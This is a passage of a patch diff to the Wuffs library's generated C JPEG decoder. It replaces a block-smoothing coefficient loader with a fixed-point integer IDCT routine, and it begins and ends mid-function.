wuffs_base__slice_u8 a_dst_buffer, -+ uint64_t a_dst_stride, - uint32_t a_q) { -- return ((self->private_impl.f_quant_tables[a_q][0u] == 0u) || -- (self->private_impl.f_quant_tables[a_q][1u] == 0u) || -- (self->private_impl.f_quant_tables[a_q][2u] == 0u) || -- (self->private_impl.f_quant_tables[a_q][3u] == 0u) || -- (self->private_impl.f_quant_tables[a_q][8u] == 0u) || -- (self->private_impl.f_quant_tables[a_q][9u] == 0u) || -- (self->private_impl.f_quant_tables[a_q][10u] == 0u) || -- (self->private_impl.f_quant_tables[a_q][16u] == 0u) || -- (self->private_impl.f_quant_tables[a_q][17u] == 0u) || -- (self->private_impl.f_quant_tables[a_q][24u] == 0u)); -+ return (*self->private_impl.choosy_decode_idct)(self, a_dst_buffer, a_dst_stride, a_q); - } - --// -------- func jpeg.decoder.load_mcu_blocks_for_single_component_smooth -- - WUFFS_BASE__GENERATED_C_CODE - static wuffs_base__empty_struct --wuffs_jpeg__decoder__load_mcu_blocks_for_single_component_smooth( -+wuffs_jpeg__decoder__decode_idct__choosy_default( - wuffs_jpeg__decoder* self, -- uint32_t a_mx, -- uint32_t a_my, -- wuffs_base__slice_u8 a_workbuf, -- uint32_t a_csel) { -- uint64_t v_stride16 = 0; -- uint64_t v_offset = 0; -- uint32_t v_dx = 0; -- uint32_t v_dy = 0; -- uint32_t v_mx = 0; -- uint32_t v_my = 0; -- uint8_t v_q = 0; -- uint32_t v_q_00 = 0; -- uint32_t v_q_xy = 0; -- uint8_t v_al = 0; -- uint32_t v_scratch = 0; -- uint32_t v_limit = 0; -+ wuffs_base__slice_u8 a_dst_buffer, -+ uint64_t a_dst_stride, -+ uint32_t a_q) { -+ uint32_t v_bq0 = 0; -+ uint32_t v_bq2 = 0; -+ uint32_t v_bq4 = 0; -+ uint32_t v_bq6 = 0; -+ uint32_t v_ca = 0; -+ uint32_t v_cb2 = 0; -+ uint32_t v_cb6 = 0; -+ uint32_t v_ccp = 0; -+ uint32_t v_ccm = 0; -+ uint32_t v_cd0 = 0; -+ uint32_t v_cd1 = 0; -+ uint32_t v_cd2 = 0; -+ uint32_t v_cd3 = 0; -+ uint32_t v_bq1 = 0; -+ uint32_t v_bq3 = 0; -+ uint32_t v_bq5 = 0; -+ uint32_t v_bq7 = 0; -+ uint32_t v_ci51 = 0; -+ uint32_t v_ci53 = 0; -+ uint32_t v_ci71 = 0; -+ uint32_t v_ci73 = 0; -+ uint32_t v_cj = 0; -+ uint32_t v_ck1 = 0; -+ uint32_t v_ck3 = 0; -+ uint32_t v_ck5 = 0; -+ uint32_t v_ck7 = 0; -+ uint32_t v_cl51 = 0; -+ uint32_t v_cl73 = 0; -+ uint32_t v_in0 = 0; -+ uint32_t v_in2 = 0; -+ uint32_t v_in4 = 0; -+ uint32_t v_in6 = 0; -+ uint32_t v_ra = 0; -+ uint32_t v_rb2 = 0; -+ uint32_t v_rb6 = 0; -+ uint32_t v_rcp = 0; -+ uint32_t v_rcm = 0; -+ uint32_t v_rd0 = 0; -+ uint32_t v_rd1 = 0; -+ uint32_t v_rd2 = 0; -+ uint32_t v_rd3 = 0; -+ uint32_t v_in1 = 0; -+ uint32_t v_in3 = 0; -+ uint32_t v_in5 = 0; -+ uint32_t v_in7 = 0; -+ uint32_t v_ri51 = 0; -+ uint32_t v_ri53 = 0; -+ uint32_t v_ri71 = 0; -+ uint32_t v_ri73 = 0; -+ uint32_t v_rj = 0; -+ uint32_t v_rk1 = 0; -+ uint32_t v_rk3 = 0; -+ uint32_t v_rk5 = 0; -+ uint32_t v_rk7 = 0; -+ uint32_t v_rl51 = 0; -+ uint32_t v_rl73 = 0; -+ uint32_t v_intermediate[64] = {0}; - -- v_stride16 = ((uint64_t)((self->private_impl.f_components_workbuf_widths[a_csel] * 16u))); -- v_offset = (self->private_impl.f_components_workbuf_offsets[(a_csel | 4u)] + (((uint64_t)(a_mx)) * 128u) + (((uint64_t)(a_my)) * v_stride16)); -- if (v_offset <= ((uint64_t)(a_workbuf.len))) { -- wuffs_base__bulk_load_host_endian(&self->private_data.f_mcu_blocks[0], 1u * (size_t)128u, wuffs_base__slice_u8__subslice_i(a_workbuf, v_offset)); -+ if (8u > a_dst_stride) { -+ return wuffs_base__make_empty_struct(); - } -- v_dy = 0u; -- while (v_dy < 5u) { -- v_my = wuffs_base__u32__min(self->private_impl.f_block_smoothing_my_max_incl, wuffs_base__u32__sat_sub((a_my + v_dy), 2u)); -- v_dx = 0u; -- while (v_dx < 5u) { -- v_mx = wuffs_base__u32__min(self->private_impl.f_block_smoothing_mx_max_incl, wuffs_base__u32__sat_sub((a_mx + v_dx), 2u)); -- v_offset = (self->private_impl.f_components_workbuf_offsets[(a_csel | 4u)] + (((uint64_t)(v_mx)) * 128u) + (((uint64_t)(v_my)) * v_stride16)); -- if (v_offset <= ((uint64_t)(a_workbuf.len))) { -- wuffs_base__bulk_load_host_endian(&self->private_impl.f_block_smoothing_dc_values[v_dy][v_dx], 1u * (size_t)2u, wuffs_base__slice_u8__subslice_i(a_workbuf, v_offset)); -- } -- v_dx += 1u; -- } -- v_dy += 1u; -+ if (0u == (self->private_data.f_mcu_blocks[0u][8u] | -+ self->private_data.f_mcu_blocks[0u][16u] | -+ self->private_data.f_mcu_blocks[0u][24u] | -+ self->private_data.f_mcu_blocks[0u][32u] | -+ self->private_data.f_mcu_blocks[0u][40u] | -+ self->private_data.f_mcu_blocks[0u][48u] | -+ self->private_data.f_mcu_blocks[0u][56u])) { -+ v_intermediate[0u] = ((uint32_t)(((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][0u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][0u])))) << 2u)); -+ v_intermediate[8u] = v_intermediate[0u]; -+ v_intermediate[16u] = v_intermediate[0u]; -+ v_intermediate[24u] = v_intermediate[0u]; -+ v_intermediate[32u] = v_intermediate[0u]; -+ v_intermediate[40u] = v_intermediate[0u]; -+ v_intermediate[48u] = v_intermediate[0u]; -+ v_intermediate[56u] = v_intermediate[0u]; -+ } else { -+ v_bq2 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][16u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][16u])))); -+ v_bq6 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][48u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][48u])))); -+ v_ca = ((uint32_t)(((uint32_t)(v_bq2 + v_bq6)) * 4433u)); -+ v_cb2 = ((uint32_t)(v_ca + ((uint32_t)(v_bq2 * 6270u)))); -+ v_cb6 = ((uint32_t)(v_ca - ((uint32_t)(v_bq6 * 15137u)))); -+ v_bq0 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][0u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][0u])))); -+ v_bq4 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][32u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][32u])))); -+ v_ccp = ((uint32_t)(((uint32_t)(v_bq0 + v_bq4)) << 13u)); -+ v_ccm = ((uint32_t)(((uint32_t)(v_bq0 - v_bq4)) << 13u)); -+ v_cd0 = ((uint32_t)(v_ccp + v_cb2)); -+ v_cd1 = ((uint32_t)(v_ccm + v_cb6)); -+ v_cd2 = ((uint32_t)(v_ccm - v_cb6)); -+ v_cd3 = ((uint32_t)(v_ccp - v_cb2)); -+ v_bq1 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][8u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][8u])))); -+ v_bq3 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][24u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][24u])))); -+ v_bq5 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][40u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][40u])))); -+ v_bq7 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][56u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][56u])))); -+ v_ci51 = ((uint32_t)(v_bq5 + v_bq1)); -+ v_ci53 = ((uint32_t)(v_bq5 + v_bq3)); -+ v_ci71 = ((uint32_t)(v_bq7 + v_bq1)); -+ v_ci73 = ((uint32_t)(v_bq7 + v_bq3)); -+ v_cj = ((uint32_t)(((uint32_t)(v_ci73 + v_ci51)) * 9633u)); -+ v_ck1 = ((uint32_t)(v_bq1 * 12299u)); -+ v_ck3 = ((uint32_t)(v_bq3 * 25172u)); -+ v_ck5 = ((uint32_t)(v_bq5 * 16819u)); -+ v_ck7 = ((uint32_t)(v_bq7 * 2446u)); -+ v_ci51 *= 4294964100u; -+ v_ci53 *= 4294946301u; -+ v_ci71 *= 4294959923u; -+ v_ci73 *= 4294951227u; -+ v_cl51 = ((uint32_t)(v_ci51 + v_cj)); -+ v_cl73 = ((uint32_t)(v_ci73 + v_cj)); -+ v_ck1 += ((uint32_t)(v_ci71 + v_cl51)); -+ v_ck3 += ((uint32_t)(v_ci53 + v_cl73)); -+ v_ck5 += ((uint32_t)(v_ci53 + v_cl51)); -+ v_ck7 += ((uint32_t)(v_ci71 + v_cl73)); -+ v_intermediate[0u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd0 + v_ck1)) + 1024u)), 11u); -+ v_intermediate[56u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd0 - v_ck1)) + 1024u)), 11u); -+ v_intermediate[8u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd1 + v_ck3)) + 1024u)), 11u); -+ v_intermediate[48u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd1 - v_ck3)) + 1024u)), 11u); -+ v_intermediate[16u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd2 + v_ck5)) + 1024u)), 11u); -+ v_intermediate[40u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd2 - v_ck5)) + 1024u)), 11u); -+ v_intermediate[24u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd3 + v_ck7)) + 1024u)), 11u); -+ v_intermediate[32u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd3 - v_ck7)) + 1024u)), 11u); - } -- v_q = self->private_impl.f_components_tq[a_csel]; -- v_q_00 = ((uint32_t)(self->private_impl.f_quant_tables[v_q][0u])); -- if (v_q_00 <= 0u) { -- return wuffs_base__make_empty_struct(); -+ if (0u == (self->private_data.f_mcu_blocks[0u][9u] | -+ self->private_data.f_mcu_blocks[0u][17u] | -+ self->private_data.f_mcu_blocks[0u][25u] | -+ self->private_data.f_mcu_blocks[0u][33u] | -+ self->private_data.f_mcu_blocks[0u][41u] | -+ self->private_data.f_mcu_blocks[0u][49u] | -+ self->private_data.f_mcu_blocks[0u][57u])) { -+ v_intermediate[1u] = ((uint32_t)(((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][1u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][1u])))) << 2u)); -+ v_intermediate[9u] = v_intermediate[1u]; -+ v_intermediate[17u] = v_intermediate[1u]; -+ v_intermediate[25u] = v_intermediate[1u]; -+ v_intermediate[33u] = v_intermediate[1u]; -+ v_intermediate[41u] = v_intermediate[1u]; -+ v_intermediate[49u] = v_intermediate[1u]; -+ v_intermediate[57u] = v_intermediate[1u]; -+ } else { -+ v_bq2 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][17u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][17u])))); -+ v_bq6 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][49u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][49u])))); -+ v_ca = ((uint32_t)(((uint32_t)(v_bq2 + v_bq6)) * 4433u)); -+ v_cb2 = ((uint32_t)(v_ca + ((uint32_t)(v_bq2 * 6270u)))); -+ v_cb6 = ((uint32_t)(v_ca - ((uint32_t)(v_bq6 * 15137u)))); -+ v_bq0 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][1u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][1u])))); -+ v_bq4 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][33u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][33u])))); -+ v_ccp = ((uint32_t)(((uint32_t)(v_bq0 + v_bq4)) << 13u)); -+ v_ccm = ((uint32_t)(((uint32_t)(v_bq0 - v_bq4)) << 13u)); -+ v_cd0 = ((uint32_t)(v_ccp + v_cb2)); -+ v_cd1 = ((uint32_t)(v_ccm + v_cb6)); -+ v_cd2 = ((uint32_t)(v_ccm - v_cb6)); -+ v_cd3 = ((uint32_t)(v_ccp - v_cb2)); -+ v_bq1 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][9u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][9u])))); -+ v_bq3 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][25u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][25u])))); -+ v_bq5 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][41u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][41u])))); -+ v_bq7 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][57u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][57u])))); -+ v_ci51 = ((uint32_t)(v_bq5 + v_bq1)); -+ v_ci53 = ((uint32_t)(v_bq5 + v_bq3)); -+ v_ci71 = ((uint32_t)(v_bq7 + v_bq1)); -+ v_ci73 = ((uint32_t)(v_bq7 + v_bq3)); -+ v_cj = ((uint32_t)(((uint32_t)(v_ci73 + v_ci51)) * 9633u)); -+ v_ck1 = ((uint32_t)(v_bq1 * 12299u)); -+ v_ck3 = ((uint32_t)(v_bq3 * 25172u)); -+ v_ck5 = ((uint32_t)(v_bq5 * 16819u)); -+ v_ck7 = ((uint32_t)(v_bq7 * 2446u)); -+ v_ci51 *= 4294964100u; -+ v_ci53 *= 4294946301u; -+ v_ci71 *= 4294959923u; -+ v_ci73 *= 4294951227u; -+ v_cl51 = ((uint32_t)(v_ci51 + v_cj)); -+ v_cl73 = ((uint32_t)(v_ci73 + v_cj)); -+ v_ck1 += ((uint32_t)(v_ci71 + v_cl51)); -+ v_ck3 += ((uint32_t)(v_ci53 + v_cl73)); -+ v_ck5 += ((uint32_t)(v_ci53 + v_cl51)); -+ v_ck7 += ((uint32_t)(v_ci71 + v_cl73)); -+ v_intermediate[1u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd0 + v_ck1)) + 1024u)), 11u); -+ v_intermediate[57u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd0 - v_ck1)) + 1024u)), 11u); -+ v_intermediate[9u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd1 + v_ck3)) + 1024u)), 11u); -+ v_intermediate[49u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd1 - v_ck3)) + 1024u)), 11u); -+ v_intermediate[17u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd2 + v_ck5)) + 1024u)), 11u); -+ v_intermediate[41u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd2 - v_ck5)) + 1024u)), 11u); -+ v_intermediate[25u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd3 + v_ck7)) + 1024u)), 11u); -+ v_intermediate[33u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd3 - v_ck7)) + 1024u)), 11u); - } -- if (0u != (16u & -- self->private_impl.f_block_smoothing_lowest_scan_al[a_csel][1u] & -- self->private_impl.f_block_smoothing_lowest_scan_al[a_csel][2u] & -- self->private_impl.f_block_smoothing_lowest_scan_al[a_csel][3u] & -- self->private_impl.f_block_smoothing_lowest_scan_al[a_csel][4u] & -- self->private_impl.f_block_smoothing_lowest_scan_al[a_csel][5u] & -- self->private_impl.f_block_smoothing_lowest_scan_al[a_csel][6u] & -- self->private_impl.f_block_smoothing_lowest_scan_al[a_csel][7u] & -- self->private_impl.f_block_smoothing_lowest_scan_al[a_csel][8u] & -- self->private_impl.f_block_smoothing_lowest_scan_al[a_csel][9u])) { -- v_scratch = 0u; -- v_scratch += ((uint32_t)(4294967294u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][0u]))); -- v_scratch += ((uint32_t)(4294967290u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][1u]))); -- v_scratch += ((uint32_t)(4294967288u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][2u]))); -- v_scratch += ((uint32_t)(4294967290u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][3u]))); -- v_scratch += ((uint32_t)(4294967294u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][4u]))); -- v_scratch += ((uint32_t)(4294967290u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][0u]))); -- v_scratch += ((uint32_t)(6u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][1u]))); -- v_scratch += ((uint32_t)(42u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][2u]))); -- v_scratch += ((uint32_t)(6u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][3u]))); -- v_scratch += ((uint32_t)(4294967290u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][4u]))); -- v_scratch += ((uint32_t)(4294967288u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][0u]))); -- v_scratch += ((uint32_t)(42u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][1u]))); -- v_scratch += ((uint32_t)(152u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][2u]))); -- v_scratch += ((uint32_t)(42u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][3u]))); -- v_scratch += ((uint32_t)(4294967288u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][4u]))); -- v_scratch += ((uint32_t)(4294967290u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][0u]))); -- v_scratch += ((uint32_t)(6u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][1u]))); -- v_scratch += ((uint32_t)(42u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][2u]))); -- v_scratch += ((uint32_t)(6u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][3u]))); -- v_scratch += ((uint32_t)(4294967290u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][4u]))); -- v_scratch += ((uint32_t)(4294967294u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][0u]))); -- v_scratch += ((uint32_t)(4294967290u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][1u]))); -- v_scratch += ((uint32_t)(4294967288u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][2u]))); -- v_scratch += ((uint32_t)(4294967290u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][3u]))); -- v_scratch += ((uint32_t)(4294967294u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][4u]))); -- if (v_scratch < 2147483648u) { -- v_scratch = ((uint32_t)(0u + (((uint32_t)(((uint32_t)(0u + v_scratch)) + 128u)) / 256u))); -- } else { -- v_scratch = ((uint32_t)(0u - (((uint32_t)(((uint32_t)(0u - v_scratch)) + 128u)) / 256u))); -- } -- self->private_data.f_mcu_blocks[0u][0u] = ((uint16_t)(v_scratch)); -- v_q_xy = ((uint32_t)(self->private_impl.f_quant_tables[v_q][1u])); -- if ((v_q_xy > 0u) && (self->private_data.f_mcu_blocks[0u][1u] == 0u)) { -- v_scratch = 0u; -- v_scratch += ((uint32_t)(4294967295u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][0u]))); -- v_scratch += ((uint32_t)(4294967295u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][1u]))); -- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][2u]))); -- v_scratch += ((uint32_t)(1u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][3u]))); -- v_scratch += ((uint32_t)(1u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][4u]))); -- v_scratch += ((uint32_t)(4294967293u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][0u]))); -- v_scratch += ((uint32_t)(13u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][1u]))); -- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][2u]))); -- v_scratch += ((uint32_t)(4294967283u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][3u]))); -- v_scratch += ((uint32_t)(3u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][4u]))); -- v_scratch += ((uint32_t)(4294967293u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][0u]))); -- v_scratch += ((uint32_t)(38u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][1u]))); -- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][2u]))); -- v_scratch += ((uint32_t)(4294967258u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][3u]))); -- v_scratch += ((uint32_t)(3u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][4u]))); -- v_scratch += ((uint32_t)(4294967293u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][0u]))); -- v_scratch += ((uint32_t)(13u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][1u]))); -- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][2u]))); -- v_scratch += ((uint32_t)(4294967283u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][3u]))); -- v_scratch += ((uint32_t)(3u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][4u]))); -- v_scratch += ((uint32_t)(4294967295u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][0u]))); -- v_scratch += ((uint32_t)(4294967295u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][1u]))); -- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][2u]))); -- v_scratch += ((uint32_t)(1u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][3u]))); -- v_scratch += ((uint32_t)(1u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][4u]))); -- v_scratch *= v_q_00; -- if (v_scratch < 2147483648u) { -- v_scratch = ((uint32_t)(0u + (((uint32_t)(((uint32_t)(0u + v_scratch)) + (v_q_xy << 7u))) / (v_q_xy << 8u)))); -- } else { -- v_scratch = ((uint32_t)(0u - (((uint32_t)(((uint32_t)(0u - v_scratch)) + (v_q_xy << 7u))) / (v_q_xy << 8u)))); -- } -- self->private_data.f_mcu_blocks[0u][1u] = ((uint16_t)(v_scratch)); -- } -- v_q_xy = ((uint32_t)(self->private_impl.f_quant_tables[v_q][2u])); -- if ((v_q_xy > 0u) && (self->private_data.f_mcu_blocks[0u][2u] == 0u)) { -- v_scratch = 0u; -- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][0u]))); -- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][1u]))); -- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][2u]))); -- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][3u]))); -- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][4u]))); -- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][0u]))); -- v_scratch += ((uint32_t)(2u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][1u]))); -- v_scratch += ((uint32_t)(4294967291u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][2u]))); -- v_scratch += ((uint32_t)(2u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][3u]))); -- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][4u]))); -- v_scratch += ((uint32_t)(1u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][0u]))); -- v_scratch += ((uint32_t)(7u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][1u]))); -- v_scratch += ((uint32_t)(4294967282u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][2u]))); -- v_scratch += ((uint32_t)(7u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][3u]))); -- v_scratch += ((uint32_t)(1u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][4u]))); -- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][0u]))); -- v_scratch += ((uint32_t)(2u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][1u]))); -- v_scratch += ((uint32_t)(4294967291u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][2u]))); -- v_scratch += ((uint32_t)(2u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][3u]))); -- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][4u]))); -- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][0u]))); -- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][1u]))); -- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][2u]))); -- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][3u]))); -- v_scratch += ((uint32_t)(0u * 